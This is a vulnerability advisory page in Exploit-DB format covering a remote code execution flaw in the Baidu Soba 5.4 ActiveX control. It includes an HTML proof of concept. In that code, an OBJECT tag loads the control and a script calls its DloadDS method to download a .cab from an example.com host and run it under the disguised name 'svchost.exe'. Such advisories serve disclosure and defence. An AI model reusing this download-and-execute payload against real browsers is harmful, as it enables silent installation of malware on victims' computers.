Remote Code Execution in Baidu Soba ActiveX Control

vendor:

Baidu Soba

by:

Unknown

7.5

CVSS

HIGH

Remote Code Execution

Unknown

CWE

Product Name: Baidu Soba

Affected Version From: Baidu Soba 5.4

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE: Unknown

Metasploit:

Other Scripts:

Platforms Tested: Windows

Unknown

Remote Code Execution in Baidu Soba ActiveX Control

An attacker can exploit this issue to execute hostile code on a victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer). Successful exploits will allow attackers to execute arbitrary code with the privileges of the affected user; other consequences are possible.

Mitigation:

Unknown

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/25121/info

An ActiveX control installed with Baidu Soba search bar is prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute hostile code on a victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer). Successful exploits will allow attackers to execute arbitrary code with the privileges of the affected user; other consequences are possible.

This issue affects Baidu Soba 5.4; other versions may also be affected. 

<html>
<head>

<script>

function DowndloadCalcAndRun()
{

com.DloadDS("http://www.example.com/svcho st.cab", "svch ost.exe", 0);

}

</script>
</head>
<OBJECT ID = "com" CLASSID = "CLSID:{A7F05EE 4-0426-454F-8013-C41E 3596E9E9}">
</OBJECT>
<script>
DowndloadCalcAndRun()
</script>
</html>